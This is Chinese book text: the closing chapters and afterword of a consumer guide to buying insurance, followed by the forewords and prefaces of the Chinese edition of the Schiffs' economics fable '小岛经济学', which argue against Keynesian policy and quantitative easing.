　　这个观点当然有它的道理，也会获得一批人的认可。毕竟，随着年龄的增长，越来越多的人会意识到储蓄的重要性。年轻人大手大脚惯了，还有攒不住钱的新中产们，未来都逃不开为储蓄而焦虑的宿命。所以，在普遍开销日益走高的当今，强制自己进行储蓄并不是坏事。

　　但这样做的前提条件是：花钱做强制储蓄不能影响你的正常生活。对于收入较高的中产家庭来说，保费额外增加 50% 可能影响不大，无非每年多投资了一点儿保本理财。而对事业正处于上升期或者家庭开销较大的群体来说，返还型保险无疑占用了多得多的保险预算。1000 元能解决的问题，可能要交 4000 元的保费，压力之大，可想而知。

非要拿到保额，不妨这样选择

　　好，如果我听了你的建议，买了非返还型保险产品，享受到更低的价格，可是，第二个问题又会接踵而至：买了保险，却没有派上用场。

　　这句话应该怎么理解呢？

　　我们都知道，不同的保险产品会有不同的保障期限。现在我们假设两种情况：第一，你买的是 70 岁到期的重疾险，却在 71 岁罹患重疾；第二，你买的是 60 岁到期的寿险，却在 61 岁身故。在这两种情况下，你的保费相当于“白交”了。

　　当消费者表达对返还型保险的需求时，可能他们希望避免的正是这种“买的保险没发挥作用，保费也没拿回来”的问题。

　　电影《大话西游》里的至尊宝说，如果要在这段感情前加个期限，我希望是 1 万年。看来，期限越长，就越不容易错过。借用这个道理，我把买保险产品的期限也定为 1 万年（终身），这样就可以确保这份保险永远有效，问题也迎刃而解了。

　　死亡和疾病是最直观的两大风险，因为容易理解，消费者普遍很认同。针对这两大风险，保险公司开发了寿险和重大疾病险两种产品。

　　对寿险来说，保障终身的寿险，客户一定能拿到赔付，毕竟人这一辈子终有一死。而对重疾险来说，即使设置为保障终身，但如果由于车祸等意外事故不幸身亡，被保险人还没“来得及”患上重疾就离开人世，自然是拿不到赔偿的。这种情况并不少见。

　　对此，保险公司的解决方案是：在重疾险里添加死亡责任。换句话说，即使你没得病，但不幸亡故，保险公司也会赔偿。

　　这类重疾险名叫“提前给付型重疾险”。身患重疾或不幸身故，哪个提前发生，都可给付赔偿。但它和返本型保险类似，其代价依然是：支付更多的保费。

　　原因其实很好理解，对于寿险和重疾险的定价来说，保险公司会参考两份资料：一是经验生命表，二是重大疾病经验发生率。这两张表通过分析大量的历史数据，推测出不同性别、年龄人的死亡概率和罹患重疾的概率。

　　整体来看，人的年龄越大，罹患重疾和身故的概率就越高。所以，医院里永远是老人多。当我们把保险期限定为“终身”时，就相当于涵盖了老年人的风险，重疾和身故的发生概率显著提升，自然导致保险产品的价格提升。一分钱一分货，这在保险产品中得到了体现。

　　因此，我们该不该买终身型保险？要不要坚持“买了就得赔”的观念？问问自己的钱包就知道答案了。

　　说到这里，容我再说一句得罪人的话。从本质上说，保障终身只是保险产品的一个功能设置，而不应被视为一个优点。就好像我们不会说奔驰的高配车一定比低配车好，这种所谓的“好”（比如增加座椅通风、空气过滤、自动升降窗帘）只是基于成本增加的功能改良，任何时候我们都不能脱离成本谈价格。

　　所以，下次听到有人说“我们公司的重疾险的最大优势就是可以保障终身”的时候，你不妨回应一句：我姥姥做醋熘白菜的时候还会放肉末呢，放肉末是稀罕事吗？

保险公司会破产，却不会完蛋

　　直接说结论：保险公司没有什么特殊的，它们和银行一样，也会倒闭。这在《保险法》里有明确规定：

　　保险公司有《中华人民共和国企业破产法》第二条规定情形的，经国务院保险监督管理机构同意，保险公司或者其债权人可以依法向人民法院申请重整、和解或者破产清算；国务院保险监督管理机构也可以依法向人民法院申请对该保险公司进行重整或者破产清算。

　　当保险公司资不抵债的时候，该破产也得破产。如果保险公司破产，不可避免地会产生一个非常重要的问题：持有该公司保单的客户该怎么办？

　　当年投保时，你把客户当作上帝，好说歹说，客户才决定购买一份终身保单，现在你经营不善，说破产就破产，这份保单还有效吗？后续理赔该找谁？

　　《保险法》当然考虑到了这一点：

　　经营有人寿保险业务的保险公司被依法撤销或者被依法宣告破产的，其持有的人寿保险合同及责任准备金，必须转让给其他经营有人寿保险业务的保险公司；不能同其他保险公司达成转让协议的，由国务院保险监督管理机构指定经营有人寿保险业务的保险公司接受转让。

　　你只需要记住一句即可：人寿保险合同及责任准备金，必须转让给其他经营有人寿保险业务的保险公司。换句话说，我们的保单在换了保险公司后依然有效。不过还有一个问题：如果没有公司愿意接受这家保险公司的保单呢？

　　不用担心，我们还有保险保障基金。

　　在好莱坞大片里，每当危险发生时，就会有超级英雄挺身而出。保险公司破产后出现的这位超级英雄，就是保险保障基金。也许你是第一次听说它，但它成立至今已有 10 多年了（2005 年成立），基金规模突破 1100 亿元。这 1100 多亿元资金的来源是 81 家财险公司和 88 家寿险公司，保险公司每年需向其缴纳一定数额的资金，这也是被写进《保险法》的强制性要求。

　　说到保险保障基金，我忍不住要多说两句。也许不少人对于国内的金融行业存有一些偏见，比如监管制度比较落后，法规不太健全，毕竟西方资本主义发达国家的金融行业发展历史更久，难免令人产生一种外国的月亮更圆的感觉。

　　很多人可能不太了解，中国保险行业监管体系最显著的特点就是：风险意识极强。刚刚说到的保险保障基金制度，以及稍后将会谈到的偿付能力制度等，都处于全球金融监管的领先水平。

　　放眼海外，很多人盲目推崇的香港保险市场，反而尚未建立此类制度。事实上，香港监管当局早在 2001 年就计划设立保单持有人保障基金制度，且拟定了初步方案，但出于种种原因至今仍未实施。在中国内地，横向对比金融业，银行的存款保险制度（可类比保险保障基金制度）2015 年才正式施行，换句话说，保险业的这一动作整整领先了 8 年。

　　保险保障基金的主要作用在于，当保险公司被撤销或者宣布破产时，它会向保单持有人和受让人（新公司）提供救济。你可以这样理解，统管天量资金但却默默无闻的保险保障基金，堪称所有保险公司的保险公司。有了保险保障基金，保险公司就可以做到“破产却不完蛋”。守住广大金融消费者利益的其实是行业监管的底线思维，毫不夸张地讲，这确实是我们的制度自信。

　　在实际运作中，保险保障基金的作用其实更加广泛。保险保障基金的第一次出手是 2007 年接管新华人寿，化解了因公司前董事长擅自违规运用巨额保险资金带来的潜在风险；第二次是 2009 年接管中华联合保险，作为控股股东，保险保障基金花了 6 年多的时间将公司从破产边缘拉回正常轨道。

　　值得一提的是，保险保障基金除了帮助“问题公司”引进新股东、恢复正常业务、维护既有保单客户权益外，还在后续股权的退出中取得了较为理想的溢价。解决问题又赚了钱，这波操作可以得满分。

保险责任：保险规划的重点元素

　　麦当劳的套餐名称和保险公司的保险计划名称一样，都是商家为多个产品取的名字。

　　每个套餐和保险计划里都包含了“产品”这个概念。对巨无霸套餐来说，产品是牛肉汉堡及其他；对某个保险计划来说，产品也许是终身寿险及其他。

　　每一个产品都可以被详细地描述和解释。对汉堡的描述，就是里面有哪些食材：两片撒有芝麻的面饼包裹着碳烤牛肉饼，搭配酸黄瓜、西生菜和西红柿片。对终身寿险的描述，就是其涵盖的身故责任：无论投保人活到多少岁，只要身故就可以获得一笔理赔金。

　　对麦当劳来说，我们可以基于“套餐名称—产品—食材”，再结合自己的口味最终做出购买决策。不喜欢吃牛肉的人或对芝麻过敏的人，自然不会选择巨无霸套餐。

　　与之类似，对保险计划来说，我们可以基于“计划名称—产品—责任”的逻辑匹配自己的风险需求，最终做出购买决策。

　　比如终身寿险，这款产品包含身故责任，主要是为了应对投保人死亡的风险。如果投保人不幸身故，保险公司便会为其保险受益人提供一笔定额理赔金。接下来我们就得琢磨：什么样的人在身故后，需要留下一笔钱呢？他们更可能是作为家庭支柱的父母，而不是子女。由此我们知道，大多数时候我们没有必要为孩子购买终身寿险。

　　讲到这里，相信你已经或多或少地了解到保险责任的重要性。保险责任决定了产品的形态，多种形态的产品组成一份保险计划。把保险责任弄清楚，就像弄清楚你爱不爱吃牛肉一样，最终会帮助你选对“套餐”。

　　不管是做保险销售员的你家邻居，还是建议你购买保险理财的银行柜员，抑或是拨打你电话的电话销售专员，你最需要向他们咨询的就是这款产品的责任到底是什么、承担什么风险、解决什么问题。

有时候，单点比套餐更好

　　记得读初中时没有多少零花钱，想吃麦当劳的话，我会选择单点一个巨无霸汉堡当作一顿饭。毕竟单个汉堡的价格往往只是一份套餐价格的一半。对于一个饥肠辘辘但却囊中羞涩的中学生来说，汉堡才是最重要的，可乐和薯条不过是锦上添花，不吃也罢。

　　我们假设一个场景：某一天麦当劳对外宣布，顾客只能购买套餐产品，而不能单点。要真是这样的话，我估计麦当劳要被骂死了。

　　但保险公司就喜欢这么干：我们卖的是保险计划，请一次性全部购买。只想买一个？抱歉，不行。

　　当我们面对一份保险计划的时候，面对的就是这类“全家桶难题”。个中原因，还得从保险计划的构成说起。一份保险计划通常由一款主险和若干款附加险构成，主险就像一位大哥，带着一帮作为附加险的小弟。比如，下面这份基于现实案例的虚拟保险计划：

　　北方人寿一生福终身寿险（主险）

　　北方人寿一生福提前给付重大疾病保险（附加险一）

　　北方人寿一生福恶性肿瘤保险（附加险二）

　　北方人寿一生福长期意外保险（强制附加险三）

　　如果你只想买一份恶性肿瘤保险（附加险二），对不起，你必须购买终身寿险（主险）后，才能购买恶性肿瘤保险。你说“那好吧，为了这个恶性肿瘤保险，我同意买终身寿险（主险），这总行了吧”，对不起，你还得购买长期意外保险（强制附加险三），因为这个附加险是强制的。所以本质上，强制购买的产品有两款。

　　这种充分利用和客户接触的机会推销尽可能多的产品，是一种普遍的保险销售模式。因为只有尽量让客户把寿险、重疾险、意外险等保险一次性配置到位，方能获得足以维系这个商业模式运转的收入。

　　这一现象的成因是多方面的。一方面，保险确实复杂，即使像意外险这样简单的保险产品，也需要有人向客户讲解，这种一对一服务的人力成本很高，无法忽略不计。另一方面，如果沟通了半天，客户只买了一款意外险，该产品收入将不能满足保险公司的成本要求，比如，产品研发费用，办公场所租赁费用，各类人员工资。除了通过保险资金获得投资收益，直接销售保险带来的收入也至关重要。

　　其实，一次性销售多款产品的方式本身并没有问题，因为我们每个人需要的确实不止一份意外险。不管你处于人生的哪个阶段，这个道理都是成立的。比如，我们单身时要关心自己的健康和父母的养老问题，结婚后要承担更多的家庭责任。专业的保险销售人员可以更准确地帮我们全面分析风险，做好产品配置。

　　但问题在于，保险公司研发的保险计划，并不适用于所有人。有的人不适合某款主险，而销售人员却一味兜售，最终很可能造成客户虽然花了钱，买到的却不是他最需要的保险产品的后果。

　　所以，如前文所说，弄明白自己需要的保险责任才是最重要的。随着保险业的市场竞争越来越激烈，更多的保险公司开始向客户提供选择单个产品的机会。你不需要一次性购买一揽子产品，你只需要做好风险分析，把钱花在刀刃上。这样一来，当我想应对意外风险的时候，可以选择 A 公司的这款市场占有率最高的意外险；当我希望应对癌症风险的时候，B 公司的那款防癌险在定价上更有优势。

　　毕竟，一次性购买同一家公司的那么多保险产品，可不会像麦当劳套餐一样享受优惠。

　　理解了麦当劳理论，你再看到保险产品的时候，一定会有不一样的认识。

保额大小，保障多久，自己来决定

　　责任的多少、保额的高低、期限的长短，这三大因素直接决定了保险产品的价格。

　　如果你是有车一族，回想一下当初买车时，你最看重的是什么。

　　中国消费者最关注的，无外乎品牌、外形、内饰、功能配置。如果在 4S[1]店里随机抽取 100 位客户，问他们买车时会不会关注汽车的三大件，那么多数人的反应可能都是：汽车三大件是什么？所谓三大件，指的是发动机、变速箱、底盘。汽车的这三大件，决定了整车的动力和驾驶性能，也是其核心技术。

　　保险产品其实也有三大件。上一章分析的保险责任就是其中之一，余下两大件分别是保险产品的保额和期限。

　　习惯性地忽视三大件，是买汽车和买保险的通病。拿汽车来说，座椅是不是真皮的，有没有天窗，内饰有没有木纹板，后排有没有加长等，这些卖点只起到了锦上添花的作用，却被过度关注、无限放大，以至于最关键的内容被忽视了。

　　不过，好在买车这件事有个特点：即使你真的不在乎三大件，最终挑选的车肯定也能开。它不仅能开，还能实现很多消费诉求，比如品牌带来的阶层感、外观带来的炫酷感等。我一直觉得 Smart[2]微型车是一辆烂车，减震差，毫无舒适感可言，动力迟缓，定价也高得不合理。但这些缺点并不妨碍它成为都市年轻女白领的通勤利器，她们认为这款车尺寸小、方便停放，而且够酷。这么看来，忽略汽车三大件，似乎也没什么影响。

　　但保险就完全不一样了，如果你无视保险三大件，而只关注花里胡哨的宣传内容，最终的结果很可能是：买到了一辆根本开不了的“车”。

　　读完本章，希望你可以明白什么是保额、什么是期限。最终，请熟记一条原则：责任、保额、期限这三样东西，是我们选购保险产品时最重要的关注点。

后记：关乎一生的“基础设施建设”

　　当中信出版社的编辑找到我，约我写一本关于保险的科普图书时，我第一时间想到的是下面这些内容：

　　保险是什么？重疾险是什么？年金险是什么？万能险是什么？寿险是什么？……

　　相信你在网上或者朋友圈也看过这类关于保险的科普知识，大部分对保险的介绍都采用了这种模式和风格。然而，这种方式存在一个问题：作者默认读者和自己身处同一个世界，没有认知上的差别。可是，保险从业者习以为常的许多理论和概念，对于消费者来说却很陌生。

　　要跳出惯性思维，化繁为简地科普保险知识，真的很难。

　　这种难还体现在，我很难同时“讨好”精算师、业务员、消费者（读者）三个群体。精算师注重数据和论述的严谨性，讲解一个小小的术语，往往要铺陈大段前置条件和假设描述，没有几百字下不来。这种文章或书籍过于枯燥、专业，读者肯定没兴趣阅读。但如果我摒弃教科书式的叙述方法，以社会现象、消费者需求、个人经验为重点讲述保险时，又很容易被精算师找出“瑕疵”。

　　不过，精算师和消费者之间的矛盾只涉及表达方式，这不算什么大事儿。但对业务员来说，说什么、不说什么，引发的争议可能就没那么简单了。保险行业有很多“趣事”，同行相轻是其中之一。早些年内地保险公司数量较少，而现在仅寿险公司就有 80 多家，争论便无休无止了。最近几年，随着香港保险的加入，这场“辩论赛”变得更加热闹。

　　本书中的保险产品分析和介绍，必然对消费者的行为产生引导作用，即买什么和不买什么。对于精算师、业务员、消费者我无法兼顾，只能三者选其一：为消费者（读者）代言。我发现，其实消费者对保险的诉求非常简单，就是买到自己真正需要的保险。

　　保险产品的复杂性、销售流程中的不合理现象等因素共同筑起了一堵高墙，隔开了消费者和保险从业者。值得欣喜的是，越来越多的人开始对这堵墙敲敲打打，让它透点儿光、进点儿风，让墙壁另一侧的保险世界显得不那么冷冰无趣。

　　作为一名互联网保险从业者，我想为这个行业多说两句。

　　对于保险来说，互联网到底意味着什么，又应该发挥什么作用？对于这些问题，保险行业有两种截然不同的声音。一个是坚定的支持派，他们认为互联网必将颠覆传统保险行业，代理人模式可能会彻底消失；另一个是坚定的反对派，他们认为互联网只是一种工具，传统的保险销售模式完全不会改变。

　　当然，消费者无须参与这场争论。对保险业来说，互联网至少能发挥的价值是：尽可能地消除信息不对称。在没有互联网的时代，消费者只能通过业务员获取保险产品信息。这种信息获取方式，本身就是一个问题。

　　我上大学时修读过传播学理论，我对其中的一个专有名词印象深刻：信源，即信息的来源。

　　如果信源单一，受众就会很难识别信号和噪声，也就无法分辨信源的真实性和可靠性。这意味着你的关于保险的一切认知都依赖于独立个体的信息输出，而这不符合理性决策的逻辑。即使这个人是你的亲人、朋友，也不意味着他的信息百分百正确、有效。信源的单一性，必然伴随着很高的沟通成本。对保险一无所知的你，和业务员聊上两个小时是非常正常的。但问题在于，你并没有那么多的“两个小时”。所以当你想再次寻找信源时，很可能会因为时间成本而选择放弃购买保险。这正是互联网存在的价值，它赋予我们更高效地获取信息的权利。

　　所以请记住，互联网的出现不一定会改变你购买保险的方式——你既可以选择网上投保，也可以选择通过业务员购买。但它一定会改变你对保险的认知和决策流程。只有当你充分利用互联网，把“了解保险知识”纳入保险规划的首要环节时，才可以负责任地说：我十分用心地做了保险规划。

　　工作以来，我一直不断地宣传和普及科学保险理念。但说实话，如果一份工作做久了，即使再热爱它，你也可能在某个时刻感到疲惫。

　　某天晚上加班，关掉电脑上的几个文档后，我一边靠在椅子上休息，一边忍不住思索：到底什么样的工作才称得上好工作？什么样的工作才称得上有意义？

　　我年少时的梦想是成为小说家。十几岁的男孩被新概念作文竞赛搅得心潮澎湃，枕边都是像《在细雨中呼喊》《马桥辞典》这类先锋文学。后来，我一个新闻专业出身的人从事的却是“卖保险”的工作。

　　既然此刻的我认为当下的这份工作谈不上有意义，不妨摆脱现实主义的枷锁，去看看理想的工作到底是什么样子。仰望星空的天文学家，从事的应该算得上是有意义的工作吧。于是我坐起身，打开浏览器，搜索 NASA（美国国家航空航天局）官网，想看看这家机构到底需要什么样的人“仰望星空”，像我这种“卖保险”的人能不能胜任。

　　招聘板块被放在 NASA 官网非常显著的位置上。在这里，你可以提交求职申请，阅读岗位需求，了解薪酬福利。让我颇感意外的是，在薪酬福利一栏里，首先映入我眼帘的就是“健康与保险”，在它之下，才是薪酬与奖励、职业与发展、家庭与生活。

　　关于健康与保险，NASA 的描述是：

　　作为 NASA 的成员，你将享有健康医疗保险计划（包含牙科和眼科治疗）和寿险计划，保险计划的账户可灵活配置，保费由个人与政府共担。

　　NASA 的员工福利协会也会提供高性价比的员工保险计划，当然，这份额外计划完全基于自愿。

　　我本想在加班间隙放松一下，却在貌似和保险行业八竿子打不着的 NASA 官网上看到了与保险相关的信息。在仰望星空的人眼中，合理、充分的保险规划，可能真的和天空一样重要。

　　再读一遍 NASA 官网上关于员工保险的描述，你应该会发现这些内容正是我在本书里介绍过的。比如，疾病和身故是一个人面临的最大风险，健康医疗计划和寿险计划就是应对这两大风险的。再比如，团体保险相当重要，对在公司和机构供职的人而言，团体保险是最重要的员工福利，堪比工资。又比如，保险可以通过包含更多的责任来实现升级。牙科和眼科是高端医疗险的常见责任，也是企业和机构善待员工的最好证明。

　　今天我和同行在奔走传播的知识，在许多国家已成为常识。夸张一点儿说，保险就是生活里的水和空气，它无处不在，却无从感知。与构思雄壮的宏伟蓝图相比，变成水和空气才是保险最大的价值和使命。

　　当保险成为水和空气时，你就可以忽视它的存在，更不需要操心该怎么买保险，你只需要知道如果自己不幸身故，家人可以获得足够的经济保障；如果不幸罹患癌症，家庭的收入不会中断，房贷依然还得起，孩子的生活费不会无着无落。

　　你觉得这是乌托邦吗？真的不是。一个二十岁出头、身体健康状况良好的年轻人，一年只要交三四千元保费，就可以无比接近这个乌托邦。

　　如果说政府层面的社会医疗保险是属于一个国家的理想主义，那么商业保险则是属于一个阶层的理想主义。这个阶层的进入门槛不高，在今天的中国，只要你进入城市，从事一份体面的工作，就能成为这个阶层的一员。

　　最后，我必须强调，本书旨在普及保险知识，推广保障理念。考虑到行业监管政策和市场的动态变化，相关规则的变更时有发生。因此，在本书定稿后，书中极少数表述可能“过时”或不准确，但这并不影响我们对相关基础知识的理解。如有问题，欢迎大家通过公众号“槽叔”与我讨论。

　　关于本书的写作和出版，我要感谢我的妻子，她一直十分认同我在保险科普领域的尝试和努力。本书部分章节的思路和框架，得益于她的珍贵灵感。感谢我的两位母亲，没有她们的帮助，我们的小家就不会有安稳的日子，我和妻子也无法专注地工作。感谢我的女儿，她在我写作本书的过程中实现了睡整觉的重大进步，为我每夜的挑灯奋战和充足睡眠创造了必要条件。感谢中信出版社的苏扬、韩琨、刘小鸥三位编辑，本书从 0 到 1，有赖于她们的专业和付出。感谢我的校友杜强、张天宁，他们在本书的策划和撰写过程中，提供了宝贵的意见和建议。

　　这本写给每个普通人的保险指南，希望能对你有所帮助。

其他

　　孩子真正需要的商业保险其实只有三款：重大疾病险、意外险、高额住院医疗险。

　　配置全这三类保险，你就已经比大多数父母都靠谱了。

小岛经济学

推荐序：小岛经济开启智慧之门

　　这是一本别具一格、引人入胜的经济学著作。

　　从小岛开始，一个个原本深奥的经济学原理便在一个个故事中生动地体现出来。随着故事层层思考下去，便会发现，尽管一些经济学的道理看起来越来越深入，却始终贴近我们的实际，并始终充满乐趣。

　　既能言简意赅地讲明道理，又保持着足够的吸引力，使得读者好像在一种魔力的吸引下享受阅读，是极难做到的，而彼得·D·希夫与安德鲁·J·希夫做到了，《小岛经济学》是一本难得一见的好书。

　　但如果将这本书仅仅看作经济学入门读物，我觉得有失公允，因为这本书对当下的很多经济现象做了深刻的剖析，并鲜明地表达了自己的观点。我喜欢这种鲜明的风格。我甚至认为，如果中国的经济政策制定者或执行者能够明白其中的一些道理，一定不会在诸如以庞大政府投资主导经济发展的道路上走得太远。

　　诚如作者所言，“凯恩斯主义允许政府摆出一副有能力提高生活水平的模样，只要印钞机运转，什么公开承诺都可以做。因为存有亲政府的倾向，凯恩斯主义者们比奥地利经济学派更有可能接受政府的最高经济任职”。

　　凯恩斯的主张为政府干预经济的做法找到了合理的理由和依据，却埋下了更大的隐患，因为它使经济自身的运行规律遭到破坏，使得市场的自我调节能力被扼杀。

　　当下的中国不正面临着这样的困境吗？不加息，流动性泛滥，通货膨胀必然日益严重；加息，由于不能对政府投资产生足够的影响力，反而加速了民营企业的大面积死亡，而这些企业所提供的商品恰恰是市场所需的。这意味着，当这些生产企业次第倒闭，供应减少，反而会加速中国的通货膨胀！

　　为什么会出现这种两难的局面？根源就在于，政府成为经济的主导者，成为经济发展的主角。这种困局只有当政府的职能从主导经济向提供公共服务的角色过渡以后，才能真正得以改变。

　　对经济的过度干预，是催生天量货币不断被滥发的根源。政府通过通货膨胀稀释民众的财富，通过悄悄盗用民众的财富满足所谓的经济干预计划，而这些计划无不是被种种动听的承诺包装着，尽管这些动听的承诺很少真正兑现。

　　政府为了使通货膨胀的理由变得生动可人，不断妖魔化通货紧缩：“现代经济学错误地认为：消费促进经济增长，因而一旦发生通货紧缩，人们就不愿意消费（这样价格就会继续下降），而人们如果消费，价格下降的影响就会减弱。真是荒谬。”

　　是的，这是荒谬之极的理论，它甚至在常识面前都显得不堪一击：还有什么比让物价降低到一个更合理的水平对消费者更具有吸引力呢？

　　《小岛经济学》中讲述的一些基本道理，帮助我们回归常识。

　　无论是大规模经济还是小规模经济，所遵循的经济学原理是一样的。比如，投资建设，“只有在收益大于支出时，这种投资才有效益。反之，这些项目就是在浪费资源并会阻碍经济增长”。但很多人似乎只看到了投资建设带来的毫无意义的虚幻的 GDP（国内生产总值）数字，却没有看到这种高投资低回报甚至无回报的结果所带来的巨大的财富损耗。

　　从这个角度来看，《小岛经济学》讲述的故事其实与我们的生活息息相关。当我们倾听了这些故事，明白了这些故事背后的经济逻辑脉络，对于很多经济现象便一下子豁然开朗了。这或许正是《小岛经济学》的价值所在吧。

　　我曾经拜读过彼得·D·希夫的《美元大崩溃》（Crash Proof），对其大胆、明确、一针见血的风格非常欣赏。彼得·D·希夫与安德鲁·J·希夫合作的这本《小岛经济学》具有同样鲜明的风格。愿这部著作让更多的读者从中受益。

　　时寒冰

珍藏版序言

　　自《小岛经济学》一书问世以来，已有 4 年之久。4 年来，我们始终与读者保持交流，与他们探讨如何运用书中理论来稳定美国及其他国家持续动荡的经济，这也是本书写作的初衷。然而时至今日，我们仍旧觉得自己尚有未尽之言，未尽之责。

　　本书第 1 版写作手法幽默，内容浅显易懂，有关鱼的双关比喻也算生动，但在品质方面仍有所欠缺。另外，第 1 版也有造作之嫌，貌似我们想利用低廉的价格吸引那些对经济学原理不够了解的读者，以此获得庞大的读者市场。但现在，我们坚信许多忠实的读者正满心期待这本书有一个更加细致完善的新版本，更有许多读者可能会将本书作为礼物赠人，或者作为展示摆放在咖啡桌上，因此我们由衷地希望能将本书打造成馈赠佳品、阅读精品。

　　由此，我们决定推出本书的“珍藏版”。这个版本比第 1 版内容更丰富，也更翔实。我们对新版的扉页做了美化处理，在书中加入了一些新插图，纸张的质量也有了提高，比第 1 版更平整更光滑。在写作模式上，新版基本延续了第 1 版的故事书的形式，我们始终觉得这样的形式与本书的精神最为契合。上述只是本书包装上的改进，除此之外，我们还在内容上做了许多增补。

　　本书第 1 版问世之时，正值美国经济近乎完全崩溃一年之后。自那时起，形势已经有了明显好转。时至今日，我们不再整天报道低迷的 GDP 增长，房地产市场呈现回暖态势（一些市场的价格正以前所未有的速度攀升），股票市场不断创造历史新高，通货膨胀貌似又回到可控范围内，失业率也在稳步下降。但与此同时，大多数美国人对这些所谓的“经济复苏”并没有什么特别的好感。

　　随着通货膨胀的加剧，美国中等收入家庭在 2013 年 8 月的收入比 2008 年经济大萧条开始前还要低。当时越来越多的人面临失业，或者只能做兼职工作，然而他们真正想要的是一份全职工作。但那些新出现的全职工作，更多的是在低薪的零售业或服务业，而非待遇优厚的中产阶层岗位，这些岗位正日趋减少。今天的大学毕业生正面临着史上最为惨淡的就业前景，即便毕业时负债累累，他们也没有理由得到好的岗位。

　　在当下的美国社会，人们旅游和度假的花销越来越少，更多的工资都拿来买生活必需品（食物与能源）了。如今美国马路上飞驰的汽车，全都是老得不能再老的旧款式，曾经代表着美国经济实力的龙头城市底特律，如今也惨遭破产厄运。这一切，绝非偶然。

　　我们听到的总是经济正在复苏的消息，实际上却面临着令人失望的前景，所闻与现实之间根本就是天壤之别。这是因为在 2008 年金融危机之后，为避免承担更大的损失，联邦政府开始花费我们实际并没有的数万亿美元，美联储也开始实施一项名为“量化宽松”的新政策。这些政策已经成为实体经济的替代品。

　　10 年前，除了在大学经济系之外，几乎没有人听过“量化宽松”这个名词；时至今日，这一政策已成为经济增长最重要的推手。众多投资者与财经新闻工作者近乎痴迷地紧跟联邦政府这一政策，就像 14 岁的校园女生追随着她们最爱的男孩乐队（Boy Band）一样。美联储主席本·伯南克仿佛已变身为加拿大流行音乐小天王贾斯汀·比伯（Justin Bieber），备受追捧。

　　然而，量化宽松不过是“印钞票”的一种花哨的委婉说法而已。自 2010 年起，美联储凭空印发了数万亿美元用来购买资产，包括政府支持的债券和抵押贷款债券。这些做法抬高了相关市场的价格，降低了长期利率。美联储正利用印钞机的力量创造一个经济复苏的假象。但这种创造出来的经济和作为其支撑的那些印刷的钞票一样，都是假象。在这种如履薄冰的健康假象之下，经济发展甚至比美联储采取补救措施之前还要惨不忍睹。

　　举例来说，在我们准备推出《小岛经济学》一书的新版本之际，美联储也在购买每月 450 亿美元的国债，占据了政府发行的所有债券的大部分。这一举措使得长期利率保持在较低水平，从而在某种程度上推动了经济发展。美联储鼓励公司和个人借贷，不支持他们储蓄。极低的利率也是近几年推动股票市场迅猛发展的主要原因。如果美联储停止购买债券，利率便会立即飙升，股票会暴跌，看上去健康的经济也会消失不见。

　　量化宽松政策对房地产行业的复兴也有直接的影响。美联储每月购买 400 亿美元的抵押贷款债券，实际上相当于已经认购了房地产市场。但美联储所购买的抵押贷款，是个人买家出于合理原因根本不愿意碰触的。房价仍然与收入高度相关，大多数买房者没有足够的储蓄来支付巨额的首付款。但政府的担保人只需要支付最低首付款，再加上有美联储提供的超低利率，支付相对轻松很多。假如没有这些支持，房地产市场毫无疑问会像 2008 年金融危机时一样崩溃失衡。

　　因此，量化宽松政策已经成为美国的经济命脉这一说法并不为过。但问题在于，这一政策诱惑性极大，最终会毒发不治。我们实现了基于量化宽松政策的人为经济复苏，这种复苏也只能与该政策同生共灭，并不能为真正的经济复苏奠定基础。

　　目前，主流经济学家都在讨论，在不损害经济发展的前提下，美联储会在何时、以怎样的方式摒弃量化宽松政策（即所谓的“退出策略”）。尽管多数人承认实施“退出策略”会遇到重重阻力，但他们仍然相信，手段高明的执行者会以极其灵敏精确的方式完成这项任务。这就好比一个古老的戏法：将桌布从一张摆满东西的桌子上猛地抽走，桌上的瓷器却纹丝不动。但这还不是美联储要表演的戏法。实际上，美联储要抽走的不是桌布，而是桌子本身。他们希望既能撤走桌子，又不让那张桌布和那些餐具掉落地上。

　　这就是我们认为当前经济已经陷入困境的理由。我们痴迷于量化宽松政策，却并不了解它，而经济学家期待的量化宽松“退出策略”则永远也不会出炉。这是一条不归路，只会带来更为严重的经济问题。

　　鉴于这些新情况的出现，《小岛经济学》的珍藏版增加了两个新章节——第十七章和第十八章——旨在揭秘量化宽松政策（以及欧洲债务危机的最新进展）。另外，我们还对全书做了几处编辑，同时还增加了部分奖励内容。希望新增的内容会使本书与我们当下所处的这个世界联系更加紧密。

　　希望你们能喜欢本书，并与那些需要回归理性的朋友们分享。

　　彼得·D·希夫与安德鲁·J·希夫

　　2013 年 9 月

序言

　　在过去大约一个世纪的时间里，很多研究成果向人类呈现了科技进步的巨大成就，涵盖所有研究领域——只有一个领域除外。

　　凭借数学和物理这两大武器，科学家们将一艘宇宙飞船发射到距地球几亿公里之外的土星的一颗卫星上。而“经营惨淡”的经济学界却找不到一个类似的成就。

　　如果美国国家航空航天局的工程师们具有与我们那些顶级经济学家相同的预测能力，“伽利略号”探测器的结局也许会截然不同。不但卫星会脱离其轨道，而且火箭在升空过程中转而向下俯冲的可能性极大，甚至有可能冲破地壳，冲到岩浆层去。

　　2007 年，当世界聚焦几十年来最大的一次经济灾难时，绝大多数经济学家并没有意识到棘手的问题已显露端倪。此后三年里经济一片混乱，经济学家们拿出的补救方案令大多数人瞠目：为了解决债务危机，我们必须负债更多；为了经济繁荣，我们必须花钱消费。过去他们缺乏远见，而今他们的解决方案又如此违背常识，究其原因，是因为几乎没有经济学家明白他们的学科如何发挥作用。

　　凯恩斯创造了许多被普遍接受的理论，其中就包括上述那些荒谬的建议。凯恩斯是 20 世纪早期非常有头脑的英国学者，但他却提出了一些非常愚蠢的理论来分析经济增长的原因。从根本上说，凯恩斯只不过是玩了一个聪明的把戏而已，他把一件简单的事情搞得极其复杂。

　　在凯恩斯的时代，物理学家们首次提出了量子力学的概念。量子力学是研究微观粒子运动规律的物理学分支学科，它认为宇宙是受两套截然不同的物理规则制约的：一套规则对极小的粒子产生作用，如质子和电子；另一套则对其他所有事物产生作用。也许是觉得经济学理论太枯燥，需要加点儿新鲜手法，于是凯恩斯提出了一个类似量子力学的经济学研究视角，创造了两套经济规律，一套作用于微观层面（与个人及家庭生活相关），另一套作用于宏观层面（与国家和政府相关）。

　　凯恩斯的理论提出时，适逢全球历史上最大规模的经济繁荣期即将结束。从经济角度来讲，19 世纪与 20 世纪早期西方世界的产能增长水平与生活水平都是空前的，而此次经济繁荣的中心就是实行自由资本主义的美国。美国的独特之处就在于，它维护个体权利、限制政府权力。

